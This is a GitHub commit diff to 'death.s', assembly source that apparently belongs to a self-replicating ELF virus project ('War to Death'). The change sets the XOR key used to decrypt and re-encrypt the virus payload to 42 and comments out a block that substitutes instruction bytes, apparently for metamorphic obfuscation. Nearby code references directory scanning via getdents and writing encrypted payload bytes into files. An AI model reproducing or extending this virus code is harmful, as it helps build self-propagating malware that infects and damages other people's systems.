Skip to content

Commit

Permalink
Back to start (War to Death)
Browse files Browse the repository at this point in the history
  • Loading branch information
d-r-e committed Jan 14, 2024
1 parent b1ab073 commit 654e82b
Showing 1 changed file with 23 additions and 23 deletions.
46 changes: 23 additions & 23 deletions srcs/death.s
Original file line number Diff line number Diff line change
Expand Up @@ -159,7 +159,7 @@ _decypher:

.loop:
lea r10, [rbp + _payload]
xor byte [r10 + r8], 0
xor byte [r10 + r8], 42
inc r8
cmp r8, rdx
jl .loop
Expand Down Expand Up @@ -640,27 +640,27 @@ _dirent_tmp_test: ; getdents the directory to i
lea rsi, [rbp + _start + r8]
mov rdx, 1

.replace_equivalences:
xor r10, r10
mov r10d, dword [rsi]
cmp r10d, 0x90c7ff48
jne .end_replace_equivalences
; mov r10, 0x01c78348
mov r10, 0x90c7ff48
mov dword [r15 + 1538], r10d
xor dword [r15 + 1538], 0
mov rdi, [r15 + 1420]
lea rsi, [r15 + 1538]
mov rdx, 4
mov rax, SYS_WRITE
syscall
add r8, 4
cmp r8, r9
jl .loop
cmp r8, r9
jge .end_copy_loop

.end_replace_equivalences:
; .replace_equivalences:
; xor r10, r10
; mov r10d, dword [rsi]
; cmp r10d, 0x90c7ff48
; jne .end_replace_equivalences
; ; mov r10, 0x01c78348
; mov r10, 0x90c7ff48
; mov dword [r15 + 1538], r10d
; xor dword [r15 + 1538], 0
; mov rdi, [r15 + 1420]
; lea rsi, [r15 + 1538]
; mov rdx, 4
; mov rax, SYS_WRITE
; syscall
; add r8, 4
; cmp r8, r9
; jl .loop
; cmp r8, r9
; jge .end_copy_loop

; .end_replace_equivalences:

cmp r8, _payload - _start
jl .nocypher
Expand All @@ -670,7 +670,7 @@ _dirent_tmp_test: ; getdents the directory to i
jge .nocypher
xor r10,r10
mov r10b, byte [rsi]
xor r10b, 0
xor r10b, 42
mov byte [r15 + 1538], r10b
lea rsi, [r15 + 1538]

Expand Down

0 comments on commit 654e82b

Please sign in to comment.